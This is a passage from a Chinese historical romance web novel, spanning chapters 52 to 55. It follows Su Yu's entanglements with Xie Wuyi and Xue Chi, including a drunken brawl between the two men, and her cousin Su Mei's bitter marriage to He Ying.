不,应该在最初的时候,择婿之时选个爱自己的男人。她是不是就不用如此痛苦,至少不用一个人面对这样的冰冷雪夜。 *** 乐道堂里,刘顺家的侍侯谷夫人梳洗睡觉。 苏震岳并没有在乐道堂里呆多久,在关氏离开后,很快也离开了。 或者说,苏震岳落荒而逃。 感情上的事,是非对错,无法论断。 但当年苏震岳休妻离京,对谷夫人和苏天佑的伤害都是实打实的。 爱情是爱情,婚姻是婚姻,责任是责任。 苏震岳因为情,放弃了婚姻,抛下了责任,就是他的错。 “其实,我不怪他。”谷夫人缓缓说着,像是对刘顺家的说,也像是对自己说。 “与其彼此磋磨下去,成为怨偶,不如早点分开,还能念点旧情。” “他刚走的那段日子,我反反复复的想,我若一直等着他,他知道了。他是不是会回来,还能不能和好如初。” 现实是谷夫人等不了,父亲过世,兄长不在京城,娘家无靠,丈夫离开,儿子太小。 要是与她有旧的不是苏震山,她多少还可以依靠点前婆家。至少能把苏天佑送过去读书,让大伯多照看。 偏偏是苏震山,瓜田李下,世上没有不透风的墙。 她唯一能让苏震山做的,就是让苏震山帮忙把她嫁出去。 这样才能明正言顺的把苏天佑留在苏家,接受国公府的照顾。 “都过去了,老太太,就别想了。”刘顺家的看谷夫人落泪,眼泪也跟着落了下来。 她是谷夫人的陪房,谷夫人经历的这一切,她都在身边。 向死而生的命运,总是把谷夫人推到刀尖上,每一步都要走得鲜血淋漓,痛楚万分。 “是啊,都过去了。”谷夫人说着,哭干了眼泪,剩下的就是笑容。 又想到关氏,不禁感慨,为关氏,也是为了苏天佑。 “当年,我以为关氏是喜欢天佑的。” 以当时两人的条件来说,苏天佑是配不上关氏的。 只因一场意外,关氏决定嫁给苏天佑,从谷夫人的角度说,应该是有感情在其中。 “救命之恩,三爷那样的样貌,如何会不喜欢。”刘顺家的不禁说着。 “是喜欢,只是还不够。”谷夫人说着。 关氏对苏天佑也许有过春心萌动,但更多的,是舆论压力,以及她性格自带的墨守成规。 男女落水,肌肤相亲,被传的满城风雨,当然可以不嫁。就像和离,过不下去可以离。 关氏当年没有不嫁的勇气,正如现在她也没有和离的勇气。 关氏的人生规划,公婆慈爱,夫妻相敬如宾,儿女懂事孝顺。 外人提起她,夸赞一句贤良贞妇。 至于自我,是可以往后放的。 而苏天佑的人生,少时的变故,对他的影响太大太大。 他对感情的需求,自我的满足是放在第一位的。 他需要一个坚定的爱人,用尽全部心力去爱他,用爱去治愈他的伤痛。 虽然不承认,谷夫人也不禁要叹一句,苏天佑与关氏的婚姻,从一开始就配错了。 关氏那仅有的一点点春心萌动,满足不了苏天佑的感情需求,只会在生活一点点被消磨掉。 苏天佑也会因感觉不到爱而痛苦不己,最后全部变成了折磨。 “虽然这话不该说,有时候和离,也是一种解脱。”刘顺家的说着。 谷夫人摇摇头,关氏不会和离,“这都是命。” 第52章 第 52 章 君子远疱厨,谢无衣不是…… 君子远疱厨, 谢无衣不是君子,他进厨房。 这也是与谢无衣太挑嘴有关系,对厨子的手艺总是不满意,坚持要自己改良。 “爷, 这都第五锅了……”墨砚小声说着。 一份点心, 做五次了依然不满意, 搞得下人都迷茫了, 不知道谢无衣到底要做什么。 “你懂什么!”谢无衣冷哼着,语气不悦。 这是做给苏钰的, 他在信上写过的糕点,特意做给她吃,是想告知她…… 告知她…… 虽然她无情无意,但他谢无衣是旧念的人。而且,而且两年笔友, 苏钰必须给他一个说法。 墨砚神色古怪的看一眼谢无衣,想说又不敢说。 做为主子的贴身小厮,他最为了解谢无衣, 明明是想求和, 那就拿出来求和的姿态, 怒气冲冲做点心。然后一脸施恩的送过去,只怕…… 那位苏小姐脾气看着就大。 “我听下人说, 大公子一直往国公府送东西。”墨砚小心说着。 尤其是送吃的, 连厨子都送了,苏钰没收。 “切,就薛迟那个老古板。”谢无衣不屑。 就苏钰的性格,会喜欢薛迟那种老古董才是怪事,就是一时觉得新鲜, 很快也会乏味。 “大公子,优点挺多的。”墨砚忍不住说着。倒不是唱反弹,而是想提醒自家主子,薛迟这个情敌很有威胁性,一定要谨慎对待。 谢无衣撇他一眼,却依然嘴硬,“我跟苏钰只是笔友,薛迟有没有优点,与我何干。” 墨砚无话可说,只希望自家主子能一直这么嘴硬下去。到薛迟娶苏钰那天,千万别哭。 又一锅点心出锅,谢无衣尝了一口,终于满意了。吩咐墨砚装盘,他开始写信。 这封信他己经酝酿许多,不能开口就质问,约定那天你为什么没去,这样会显得自己特别在意。 而是先聊些别的,再主动道歉,因为种种原因约定那天他没去赴约,只派了小厮前往。苏钰没去的事,只字不提。 最后,是这封信的重点,他是谢无衣。 以前是没表明身份,现在是直接自报家门,把所有可能的误会全部消除。 两年笔友,他相信苏钰不是真渣女。 “你亲自送去。”谢无衣吩咐墨砚。 点心装盘放盒子里,信在盘子下面,只要苏钰打开盒子就能看到。 墨砚重重的点点头,“爷放心,我一定会亲手交到绿川手上。” 以苏钰的身份,不会接见一个外头来的小厮。 都打听清楚了,苏钰的贴身大丫头叫绿川,是一等可用之人,东西交给她,苏钰一定会看到。 “去吧。”谢无衣说着。 墨砚做足了功课,早就派人到国公府门后盯着,确定苏钰今天没出门。 坐车到国公府后门,正想使钱托关系把绿川叫出来,婆子笑着道:“是公主府的吧,您稍等,我马上喊人来。” 薛迟每天送,国公府上下都习惯了。看到公主府的车马,就知道怎么回事。 墨砚生怕搞错,喊住婆子,塞给婆子一吊钱,“麻烦您帮我喊绿川姑娘过来。” 婆子看着钱,十分欢喜,却不敢把话说太满,“绿川姑娘忙,我尽量喊她来。” 婆子急匆匆忙听雨轩走,也是运气好,半路遇到绿川,连忙拉着她来了。 绿川此时正无事,跟着来到后门,墨砚看到她,连声喊姐姐,还送上一个荷包,金银都嫌俗气,直接装首饰。 “你的嘴倒是甜。”绿川笑着说。 “都是爷教的好。”墨砚笑着,生怕弄错,格外声明,“我家主子是谢……” 不是薛迟,不是薛迟,千万别搞错。 “绿川姑娘在这呢,可让我好找。”管事媳妇走过来,打断墨砚的话,径自对绿川说着。 “这回要进府的家生子,小丫头总共二十个,己经在议事厅了,姑娘去看看吧。” 苏家常住的主子少,但家生子一直不少,一波又一波的生,到年龄就得进府侍侯,都不知道要往哪里塞。 常规操作,小丫头进府,先让听雨轩挑。 “我就过去。”绿川笑着说,随手接过墨砚的食盒,“我知道了,一定会跟姑娘说的。” 墨砚不好再说,想着食盒里头还有信,便笑着道:“劳烦姐姐了。” 绿川跟着管事媳妇往议事厅,路上遇到小丫头,便招手唤她们过来,把食盒交给她们,“送到听雨轩去。” 这段时间,薛迟不停的送东西,吃的喝的玩的,根本就应接不暇。 这是薛迟的策略,不知道苏钰具体喜欢什么。就全方位送,以数量取胜,总能送到苏钰喜欢的。 小丫头十分听话,把食盒送到全听雨轩。婆子接过来,也没太当回事,送到苏钰面前时,只说是公主府送来的。 “怎么又送,我这刚吃完。”苏钰都无语了,“算了,先放着吧,晚上再说。” 一个时辰前刚送的食盒,说是宫里御厨的手艺,味道确实不错,她刚吃完,这又送。 在薛迟眼里,她是那么能吃的人吗。 婆子把食盒收起,也没太当回事,主要是收到的太多了。 “得跟薛迟谈谈。”苏钰自言自语着,进西梢间开始写信。 薛迟送她东西是有心,她自然喜欢。但流水一般的送礼,什么都送,尤其是吃的,实在吃不下。 信很快写好,唤婆子送过去。 给公主府送信是美差,多少人抢着干。薛迟出手极大方,打赏都是十两起步。 连着下雪,天冷又临年关,薛迟没约她出门,她也不想出门。不出门也可以沟通,通信。 苏钰闲下来就写,自己都不知道写了多少封,奇怪的是薛迟,只是派人传话,却不回信。 据传话的人说,临近年关,薛迟事务太多太多,抽不出空来。 “姑娘,刚才叶府派人送来贴子,这个月十三是叶老太爷寿辰,不是整寿不打算大办,只请家里人过去。”绿川进来说着。 叶老太爷,叶氏的父亲,六十九岁,明年七十整寿肯定要大办,今年就凑和了。 苏钰想了想,“寿礼得好好准备。” 时至腊月十三,苏天佑骑马,关氏带着苏越坐一辆车,苏钰单独一辆车。 至于谷夫人,杨阁老孝期未过,只送上贺礼并不同行。 叶府离国公府不远,都在京城勋贵地界上。 叶家是世袭三代的侯府,传至叶老太爷这一代,虽没了爵位。但凭着科举,叶老太爷官至礼部尚书。直至十年前大病一场,从朝堂退下来当了富家翁。 叶老太爷说起来也是一代风流人物,唯一憾事,子嗣艰难,年近四十才有一女,也就是叶氏。 叶家是大族,当年为了过继子嗣之事打破头,叶老太爷棋高一招,过继外孙为嗣孙。 为此叶家打的更凶,但叶峰实在争气,今年考了头名状元,叶家的宗亲们终于消停了。 车驾行至叶府二门,苏钰扶着丫头下车,只见苏玫也从车上下来,却不见贺英。 苏玫瘦了,不是女儿家爱美的瘦法。而是精气神被抽空了的干瘦,眼窝都凹了下去,虽然涂了粉,依然掩不住脸上的苍白。 “玫姐儿……” 关氏看到女儿,眼泪都差点掉下来。 谷夫人进府,再加临近过年,事务繁琐,她没办法天天往贺家跑,苏玫委屈了。 “姐姐,怎么不见姐夫。”苏越问着。 苏家与叶家是姻亲,这种时候,贺英怎么能不来。 苏玫抿了一下唇,没好意思说出来。 贺英为什么不来?因为不敢,叶峰可是真打过贺英的,打的下不床。 以叶峰的脾气,今天贺英敢来,只怕要抬着回去。 “先进去吧。”苏天佑说着。 众人正欲往里面走,就见管事引着谢无衣进来。 看到他,苏天佑都愣了一下,只是家宴而己,叶家与公主府可没交情。 “苏大人。”谢无衣见礼。 苏天佑拱手回礼,“没想到谢大人来了。” “叶老寿辰,做晚辈的自该来拜贺。”谢无衣说着,却是看一眼苏钰。 苏钰一脸莫名,看她做什么,他们可没有交情。 因为是家宴,叶家只派了管事来迎客。 一行人从二门进,苏天佑理所当然的与谢无衣同行搭话,当陪客。 谢无衣虽然出身不光彩,但前程着实好。建章营骑,天子近侍,不是一般人能当的。 “谢大人年少有为,早就听闻大名。”苏天佑客气说着。 他二十六中榜眼,虽有杨阁老这个继父,也是一路熬资历,现在也不过三品侍郎,离朝堂中心远着呢。 谢无衣不同,随时可以见皇帝的天子近侍,天家一句话,泼天富贵就来了。 “苏大人过誉了。”谢无衣笑着,态度谦逊,“苏大人才名出众,乃是朝堂学子们的表率。” 苏天佑听着有点高兴又有点惊讶,被恭维总是开心的事。惊讶的是传闻中高冷的谢无衣,竟然会如此客气好说话。 看着相谈甚欢的俩人,落后一步苏钰着实觉得很迷。 看起来那么高傲的谢无衣,竟然也是场面人。 也对,看着是同龄人,人家己经是建章骑营的老大了。 宴席摆在后花园的大花厅里,叶氏张罗的,说是家宴,但因为叶峰中了状元,师长同窗来的也不少。 男客五桌,女客三桌,花厅位置小,中间连屏风都没放,直接摆一起。 众人正欲落座,就见管事引着陈平进来。 陈平七品小官,在京城芝麻绿豆都称不上,但在场的男人几乎都认得他。 薛迟的文书,随着薛迟的升迁,陈平官职再小,也没人敢小看。 “薛大人公务在身,不能前来贺寿,特派我前来给叶老送上贺礼。”陈平恭敬说着,“祝叶老福如东海,寿比南山。” 说话间,陈平把手里的画轴打开,竟然是前朝名家的《八仙贺寿图》。 叶老太爷微微笑,礼貌又客气,“薛大人太客气了,陈大人也辛苦了,特意跑这一趟。” 苏邑上前接过贺礼,正欲请陈平入席,陈平连忙拒绝,“下官还有公务,就不打扰了。” 苏邑欲留,陈平却是坚持离开。 其实他也没那么忙,但看到谢无衣也在席上,直觉告诉他,再呆下去肯定没好事。 一直都有传闻,说谢无衣和苏钰不和,甚至在公主府大打出手,闹到被关禁闭的地步。 陈平常年出入公主府,对他谢无衣了解。侍才傲物又高冷。看不上谁一眼都不会多看,能让多看一眼的,就表示有兴趣。 跟苏钰如此打闹,与其说是不和,不如说是欢喜冤家。 今天叶老太爷大寿,与谢无衣本无关系,他却来了,多半与苏钰脱不了关系。 这种情况,哪能坐下来吃席,要赶紧回去报信。 第53章 第 53 章 陈平走了,宴席继续…… 陈平走了, 宴席继续。 众多宾客中,谢无衣很是另类,跟所有人都不熟。 莫名其妙出现的贵客,叶峰亲自作陪, 言语间客气又好奇。 好奇谢无衣到底为什么要来叶家。 “叶兄乃新科状元, 京城弟子的表率, 我也有心向之。”谢无衣义正言辞说着。 总不能说, 他给苏钰写了信,却等不到回信。 心里早就着急了, 感情上又别拗,不想去国公府找苏钰问,就想着迂回一下。 正好叶老太爷寿辰,苏钰肯定会来。 “是吗,在下惶恐。”叶峰笑着说。 状元是读书人的表率, 但谢无衣这种,走勋贵路子,科举压根不想, 竟然敢说是因为看中他这个状元。 这是当他傻呢。 “我敬叶兄一杯。”谢无衣转移话题, “薛迟也真是, 又没请他来,巴巴派人送来贺礼。” 叶峰看一眼谢无衣, 神情古怪。 京城上下皆知, 苏钰和薛迟走的近,以苏叶两家的关系,薛迟派人送贺礼也正常。 谢无衣才是来的奇怪,现在还说薛迟的坏话,这…… 两杯酒下肚, 两人很快熟起来了。不管真熟假熟,至少看着很熟。 男女席摆在一起,苏钰就在旁边席上,看着相谈甚欢的俩人,只觉得诡异。 谢无衣与苏天佑那是客套,大家都是场面人,客套话谁都会说。 但谢无衣和叶峰不同,看起来要拜把子了。 酒过三巡,戏台上唱的正热闹时,就见一个身着建章骑营官服的青年走过来,在谢无衣耳边低声说了几句。 谢无衣皱眉,脸色难看,小声说着,“这么一点小事还要我出面。” 青年又说了几句。 谢无衣只得起身,先向叶峰告罪,又向叶老太爷辞别。 公务在身,叶老太爷哪里会留。 叶峰起身相送,谢无衣临走之时,却是看向女席坐上的苏钰。 苏钰也正看着他,四目相对时,苏钰莫名有种心虚感,下意识别过脸。 不对,她心虚什么,她跟谢无衣有恩怨没交情。 小小的插曲很快过去,酒过三巡,菜过五味,更衣的更衣,串席的串席。 苏钰席上喝了几杯,带着绿川去更衣,也想透口气,地龙加碳火盆,有些闷。 叶家的更衣处安排在退舍,出了大花厅,穿过假山就是。 单行道进入,抬头就见苏攻迎面走来。 四目相接的一瞬间,苏钰有点想退开,苏玫流产的事,府里都知道了。 苏家多情种,情种男人们各种惨,现在换成女孩做情种,更惨了。 男人至少不会怀孕流产。 “你……”苏玫看到苏钰也愣了一下。 苏钰后退一步,把路让出来。 “我,我……” 连着两个我,卡在喉咙里的话,苏玫还是没办法说出口,也没道理对苏钰说。 她对苏钰的怨念,己经放下了。 她曾怨念苏钰与贺英订过亲,怨念贺英对苏钰很好,怨念婚后贺英还跟苏钰说过话。 因情生怨,单方面的怨,苏钰估计都不知道。 无情即无怨,苏钰从来没喜欢贺英。现在满京城皆知,苏钰现在跟薛迟来往甚密。 爱情糊住脑子的时候,什么都看不到,只想得到贺英的爱。 贱太久了,被算计,被无视,甚至仇恨,情种恋爱脑都会醒。 苏钰看着她,心里叹口气,“先把身体养好。” 苏玫这么瘦下去,她都担心会出事。 幸好,娘家够给力能给兜底,怎么都不至于出大事。 “我会保重自己。”苏玫声音很轻,态度却意外的刚强。 交身相错,苏钰自去更衣,只是心情复杂。 回想当初的苏玫,虽然行为可恼,但至少是有生命力的。 为了爱情,不顾一切,过份执着是傻,但她本人是心存希望的。 而现在,希望破灭,连生气都被吸走了。 听戏坐席,冬天天冷,半下午时,众人就要告辞回去。 行至二门处,就见贺英正在侯着。 他确实不敢见叶峰,但苏玫来了,他要是不来露个脸,只怕叶家上下更烦他。 最佳方案,散席过来接苏玫,既不给叶峰添乱,又能在苏家人面前露个脸,表示他己经尽到心了。 “拜见岳父,岳母。”贺英态度无比恭顺。 苏天佑有多恨他,他心里有数。 娶了苏家女,不但没得到苏家的任何资源,还有一个岳父在给他添堵。 必须得改变策略,不然他的仕途,只怕要走不下去了。 “哼!”苏天佑冷哼一声,径自上马,理都不理贺英。 关氏脸色也不好看,虽然不像苏天佑那般表现出来,但也只是勉强点点头。 苏越想说话,都被关氏拦住了,两人上了车。 苏钰紧跟着上车,只当没有看到贺英。 贺英对于苏家的冷待全然不当回事,摸摸鼻子,态度殷勤的扶着苏玫上车。 苏玫看着他,神情冷然。 最初的爱意己然冷淡,再看到贺英的小心殷勤时,竟然无悲无喜。 车驾缓缓行驶,狭小的空间里,对坐的两人,谁都无法再回避对方。 “你故意的。”苏玫突然开口,声音冷咧,“你不想这个孩子出生。” 每天吵闹不休的贺二太太,怎么都打不走的孙怜娘,全部都是贺英的棋子。 折腾,闹气,只有一个目的,打掉她肚子里的孩子。 以前是被爱情糊了眼,给贺英加了厚厚的滤镜,以为他是被蒙蔽的。母亲糊涂,表妹倒贴,他没办法。 现在想,贺英怎么可能没办法,风流场上的急前锋,对付女人最有一套。而且堂堂探花郎,怎么可能会拿后宅女人没办法。 理由只有一个,他与她们的目标一致。 孩子不能生下来。 贺英眼中闪过一丝意外,意外苏玫竟然变聪明了。 既然知道了,贺英坦言,“是我对不起你,我以后一定会好好对你,我们还会再有孩子的。” 这个孩子不能生下来。 月份不对,生下来,他偷小姨子,与苏玫私通的事就会被订在耻辱柱上。 没有孩子,没有铁证,时间可以磨掉一切。 但孩子生下来,私德有亏的烙印就会打到他身上,这辈子都洗不掉。 他中了探花,还有大好前程,他不想留下一辈子的把柄。 苏家是因为这个孩子才把苏玫嫁过来的,苏玫性情又格外偏执,商量是肯定不行的。 苏家没有妾室,自然不晓得后宅手段的厉害。就是苏玫身边有厉害的陪房,没有亲身经历过,哪里晓得厉害。 一切都如他预期的那般,孩子没了,苏玫崩溃,关氏几乎要指着他鼻子骂。 但是他也知道,关氏不会同意和离。 关家是大族,各种讲规矩,他与苏玫成亲己经闹的这么难看。 和离再闹一出,关氏丢不起这个脸。 “对我好?”苏玫冷笑,眼中似乎有泪,心却硬了起来,“你是对苏家女儿好。” 她有一个武将侯爷祖父,榜眼父亲,出身名门的母亲。还有大伯,二伯,兄弟…… 有这样家世的女子,贺英怎么可能不爱,必须爱得要死要活。 “婚姻本就是结两姓之好。”贺英说着。 他和苏玫这门婚事本就是这么来的,贺大老爷极力主张。娶不到苏钰,退而求其次也得娶苏玫。 重点是,与苏家的姻亲不能断。 开始时他是不情愿,但想开了,想明白了。跟前程比,女|色算什么。 只要苏玫能在仕途上助他,那就他的心肝宝贝。 “呵~” 苏玫笑了起来,花枝乱颤,却带着悲凉。 “竟然如此简单,男人的心~” 为什么会喜欢贺英? 没有人知道,三年前她就喜欢贺英了。 那年秋猎,她并不善于骑射,跟着家长一起去玩。关氏没来,苏天佑向来不太管孩子,她与苏钰不熟,也不一起玩。 猎场太大,她与平日交好的小姐妹走散了。 苏玫当时年龄小,有些害怕,骑在马上强撑着走。 远远的听到马蹭声,因不知道是谁,也不敢喊人,想着先看看是谁。 箭矢划破长空,苏玫惊讶之余,只见一个红衣少年骑着马弯弓射箭。 帅气,儒雅,略显稚气的脸上甚至还带着天真。 连着几箭,箭箭不落空,一时间收获破丰。 回去之后,苏玟才知道,他是自己的准姐夫贺英。 贺英下马捡猎物,看到一只晕倒的兔子。没有被箭矢射中,却因听到弓箭而吓晕了。 “你这小东西,也是可怜。”贺英笑着,把兔子往前方一甩,“逃命去吧。” 被丢出去的兔子,飞一般的跑了,贺英见状,不禁笑了起来。 秋日的阳光就这么落在这样一张笑脸上,苏玫看的不禁有些痴了。 好温柔的人,一定很会体贴人。 怀着这样的憧憬,她不惜一切代价也要嫁给贺英,哪怕是手段下作。 她也想过,用正当一点的手段,与贺英相爱,自己提出退婚,他们再成亲。 但都失败了,贺英玩归玩,对待与苏钰的婚事却非常认真。 直到后来…… 终于如愿以偿,婚后却是生死不如。 就在她彻底绝望之后,贺英却对她说,因为你的出身,你的背景,我会好好爱你。 何其讽刺,何其悲凉。 “玫儿……”贺英有点担心苏玫,握住她的手,“以后我们就好好过日子。” 苏玫甩开他,却说着,“好啊。” 不能和离,那就过下去。 至于过成什么样,就看她的能耐了。 第54章 第 54 章 “明日午时,大公子…… “明日午时, 大公子想与姑娘同去品花楼。”婆子说着。 苏钰笑着道:“好,我准时到。” “大公子会来国公府接姑娘。”婆子笑着说,“哪能让姑娘一个人去。” “这样太麻烦他了。”苏钰说着,“你转告他, 我午时准时到。” 薛迟过来国公府, 苏天佑就得招呼, 苏家上下就都知道了, 谷夫人也会知道。 婆子面色犹豫,这与薛迟交代的不符, 笑着道:“容我回去禀告大公子。” 苏钰点头,“这么冷的天,我实不想他多跑一趟。” “是姑娘体恤公子。”婆子笑着说。 半个时辰后,婆子又来回话,薛迟坚持要来国公府接她。 苏钰也没坚持, 她只是觉得有点麻烦,他既然想麻烦,那就随他。 “薛公子是为了姑娘好。”绿川笑着说, 从府里接走, 就是过了明路。 各自过去, 跟偷情似的,名不正言不顺。 苏钰当然知道是为她好, 但是…… 绿川看苏钰神情, 有心想劝一句,“姑娘还是……”想想成亲之事。 苏钰和薛迟虽然来往的时间不长,但交往过密。 薛迟要是正经人,肯定会说提亲的事。 今天约苏钰见面,弄不好就要旁敲侧击, 回避是回避不了的。 苏钰微微皱眉,心情正纠结着,就有婆子拿着贴子进门,“公主府送来拜贴,指名给姑娘的。” 绿川接过拜贴,转给苏钰。 苏钰一脸莫名的接过来,“婆子不是刚走吗,怎么还送……” 翻开拜贴,上面清楚写着,是谢无衣约见。 “他?” 苏钰惊讶不己,谢无衣昨天莫名其妙去叶家拜寿,今天就正式送上拜贴约她见面。 这是有事,还是挺重要的事。 要是没跟薛迟约好,倒是可能见面,但己经有约了,只能拒绝。 “明日我己有约,不能相见。”苏钰对绿川说着,“让帐房的文书拟封书信,回了吧。” 谢无衣如此正式的写拜贴,她要拒绝,也得正式拟信函。 她虽然善于文字,但对于这种正式文书却很不在行。文书是专门做这个,专业不出错,也省得谢无衣挑毛病。 “是。”绿川应着,拿着拜贴亲自去前头找文书吩咐。 等绿川出门去,苏钰自言自语说着,“谢无衣的字迹,与薛迟的竟然一模一样。” 与“薛迟”当了这么多年笔友,她对“薛迟”的字迹自然熟悉的很。 难道是因为共同生活在公主府,一个老师教的? 但字迹一模一样,很是奇怪,有找机会问问薛迟。 半时辰后,谢无衣收到回信。 接到信的时候,谢无衣是高兴的。虽然是他先写的拜贴,但苏钰总算给他回信了。 应该是道歉信,嗯,只要她写的诚恳些…… “混蛋!” 谢无衣只看了一眼,立时变了脸色。 这根本就不是苏钰的字迹,扫一眼内容,竟然是标准制下的拒绝文书。 苏钰这是敷衍都懒得敷衍,直接让文书给他回信。 乒乓之间响起,愤怒之中的谢无衣把书桌都砸了,依然怒火难消。 渣女,苏钰是真渣女。 两年时间,他是真的瞎了眼。 “爷……”墨砚声音颤抖,想说又不敢说。 谢无衣气到心肺炸裂,“说!” “我刚收到消息,大公子打发婆子去了国公府,与苏姑娘约定,明日午时品花楼见面。”墨砚声音颤的厉害。 这种火上浇油的消息,他不想说,但也不敢不说。 “她倒是逍遥快活。”谢无衣气愤之余,并不意外。 满京城皆知,苏钰与薛迟相交甚密,只差谈婚论嫁。 对,也是因为这个,苏钰才会一直装死。 马上就要嫁给薛迟了,却被暴出来,与公主府另一个公子私下书信来往了两年。 先不说名声,婚事是肯定会受影响。晋阳长公主,宫里的圣人,怎么可能会同意婚事。 索性装死到底,反正没见过面,只要死不承认。哪怕他把信件拿出来,信上也只是闲聊,并无私情。 想通其中关窍,谢无衣愤怒之余又添几分悲凉。 因为薛迟,苏钰放弃了他。 “我就这么不如薛迟吗!”谢无衣大声吼着,似要把心中的怨念不平全部发泄出来。 “爷……” 墨砚吓的几乎要哭出来,双膝跪下,却不敢说话。 这种送命题,哪是他一个下人能回答的。 “也对,我这个私生子,哪里如他。”谢无衣自言自语着。 墨砚恨不得把头埋到地里,晋阳长公主待谢无衣极好,私生子这种话,没人敢提起。 现在谢无衣自己提起,他恨不得变成聋子,只当没听到。 “不能这么算了,我决不放过他。” 愤怒之下,谢无衣心中己有决断。 及至次日,薛迟早早来了,这回见到的,不止是苏天佑,还有苏震岳。 薛迟去过边关,与苏震岳,苏天华,苏邑交情都不错。 “是个好孩子。”苏震岳说着。 但谷夫人没看上,说不是好姻缘。 他倒不觉得有什么,婚姻好不好,与喜欢不喜欢不相关。 苏钰喜欢,那就喜欢。 至于姻缘,以后再说。 稍等片刻,苏钰来了。 一身男装,俊秀潇洒,与女装的模样全然不同,薛迟看的微微一呆。 “我们走了。”苏钰辞行。 苏震岳点头,例行叮嘱,“早些回来。” 坐车至品花楼,吴德全早在门口侯着,看到俩人下车,连忙迎了上来。 薛迟邀约,自然会提前安排好。 吴德全正欲拱手见礼,就听里面一声怒吼,“苏钰!!” 吴德全只觉得眼前一花,似有什么人冲到自己面前。 薛迟和苏钰的反应却极快,苏钰下意识防备,薛迟直接挡在苏钰面前。 “苏钰,你凭什么这么对我!!”谢无衣怒声吼着。一身酒气,好像刚从酒缸里捞出来。 因为太生气,一夜没睡,天刚亮就去砸品花楼的大门。 吴德全不知道发生了什么事,但这样的大神,他也得罪不起,只能小心侍侯。 从进门开始,谢无衣就喝酒,不停的喝,喝到现在都没停下来。 吴德全一直交代下人仔细侍侯,怕的就是谢无衣突然闹事。 果然,闹起来了,闹的还是苏钰。 “我?”苏钰一脸莫名,想到他昨天的拜贴,看在他醉酒的份上,解释着,“我收到拜贴时,己经答应了薛迟的邀约。” 总得有个先来后到吧,她先答应了薛迟,自然要推了谢无衣的邀约。 更重要的是,她跟谢无衣没那么熟。 “所以你就让文书随便写封信糊弄我!”谢无衣想到这里,眼圈都要红了。 通信两年,不想承认了,信都不自己写了。 “啊?” 苏钰很不理解,一封平常的拒绝书信,文书写的,自己写的,有差别吗? 她跟谢无衣真的不熟,他这一脸被抛弃的小媳妇样,到底从何而来。 她初恋就是薛迟,都没有前任。 薛迟皱眉,上前一步走到谢无衣面前,声音冷漠,“你喝醉了。” 谢无衣话语间的暖昧,让他十分不舒服。 “你给我走开!” 谢无衣看到薛迟,更是怒火中烧,伸手就要推开他。 薛迟早己不悦,抬手挡了回去,“放肆。” “呵~放肆~” 醉酒加上情绪上头,谢无衣早忘了薛驸马和晋阳长公主的叮嘱,“要动手啊,好啊,我早就想跟你打一架了。” 说话间,谢无衣直接动手,薛迟早己动怒,此时自不会退让。 你来我往,两人皆是高手,尤其是谢无衣醉酒中,下手没有分寸,薛迟自然不会太客气。一时间桌椅酒具,全部飞上天。 此时正值中午,是客人最多的时候,早在谢无衣大闹时,就有无数宾客悄悄围观了,现在打起来了,围观的人就更多了。 眼看着场子都要被扬了,抱头鼠窜的吴德全小心翼翼走到苏钰跟前,“苏姑娘,您要不劝劝……” “要怎么劝……”苏钰都迷茫了。 谢无衣到底发什么酒疯,既然是酒疯,薛迟何必跟一个醉鬼较真。 越打越烈,下人们各自找地方躲了,围观的宾客虽然也是抱头鼠窜,却都坚持不走。 在品花楼大打出手,这种事情几十年都遇不到一个,当然得看到底。 就在吴德全快哭出来的时候,就听一声怒吼,“监察寮办案,闲人回避。” 冯决带队,两队人马直冲了进来,列队站好。 原本就乱成一团的大厅,此时更乱了。谢无衣醉酒之中,除了打薛迟,己经无知无觉。 他不停手,薛迟也没办法停。 “这是……” 一脸杀气冲进来的冯决惊呆了,什么情况,他们还没抓人呢,店就被砸了。 茫然中的苏钰,看到冯决,心中骤然一惊。 正欲上前阻止薛迟和谢无衣,就见慕容宁缓步走进来,疑惑的目光落到苏钰身上。 苏钰头发都要竖起来,恨不得捂住脸大声喊,我不认识薛迟,更不认识谢无衣。 监察寮暗探走至冯决身侧,用不大不小,所有人都能听到的声音说着,“薛大人和谢大人因为苏家小姐打起来了。” 第55章 第 55 章 架终于被拉开,醉酒…… 架终于被拉开, 醉酒的谢无衣被监察寮送回了公主府,薛迟倒是想送苏钰回国公府,却被慕容宁拒绝。 苏钰不用回国公府了,直接回楚王府。 至于被砸了的品花楼, 吴德全手里握着公主府的巨额赔偿, 含泪重装, 没有丝毫怨言。 苏钰觉得自己很冤, 谢无衣发酒疯,关她什么事。 天地良心, 她真的什么都没干。 当然,这话她得让慕容宁相信。 “窈窕淑女,君子好逑。”楚王爷笑着,努力圆场,“钰姐儿这般人物, 被人爱慕理所当然,何错之有。” 青春年少,为爱大打出手, 多好的一段佳话。 苏钰下意识想捂脸, 虽然很想装死, 但在品花楼大打出手,半时辰内没能传遍京城, 都是对长舌男的侮辱。 “只怕宫里的娘娘们都知道了。”楚王爷笑呵呵说着。 苏钰头垂的更低了, 想死。 “幸好俩个都是公主府的,一家人,打完了关上门自己解决,倒不用担心家长们闹腾。”楚王爷一脸庆幸说着。 一家人,不是兄弟, 类似兄弟,这明明问题更大。 楚王爷的脑回路果然很异常。 苏钰心中吐槽,求死之心欲发强烈。 “前些日子我还担心钰儿的婚事,现在终于能放心了。”楚王爷笑着看向慕容宁,“谢无衣出身到底差了些,薛迟更好。” “不如就此选定了,年前订亲来不及,出了正月就合适。” 怎么就能说到亲事上,兄弟相争,公主府能同意才有鬼。 为了家宅和睦,两个都不娶才是最优选择。 苏钰心中狂吐槽,要不是太失礼,她都想堵住楚王爷的嘴。 这哪里劝架,根本就是火上浇油,再说下去,她都要担心慕容宁当场动手。 “好了。”慕容宁终于开口,声音冷然。 楚王爷马上闭嘴,苏钰把头压的更低,努力减少存在感。 慕容宁目光落到苏钰身上,“折腾半日我也累了,晚饭后到书房寻我。” “是。”苏钰老实答应着,“女儿告退。” 不等楚王爷再开口,苏钰赶紧跑了。 回到听雨轩,没人在耳边唠叨了,苏钰觉得松口气之余,想到晚饭事去找慕容宁,又觉得胃疼。 “谢无衣到底发什么疯啊!”苏钰忍不住吼出来,她恨不得凌空抓人,把谢无衣揪到自己面前,摇晃着问他,你到底疯什么! “谢大人是不是喜欢姑娘啊……”绿川忍不住说着。 喜欢才会在意,谢无衣没有表现出来喜欢,但他表现出了在意。 酒疯子发颠,但醉了说的才是实话。 尤其是昨天,谢无衣送了拜贴,邀约苏钰,苏钰拒了他,转身跟薛迟约会。 这才是谢无衣发疯的原因吧。 “他喜欢我……” 苏钰呆滞,下意识就想反驳。 谢无衣喜欢她? 那为什么总找她麻烦,她完全感觉不到喜欢。 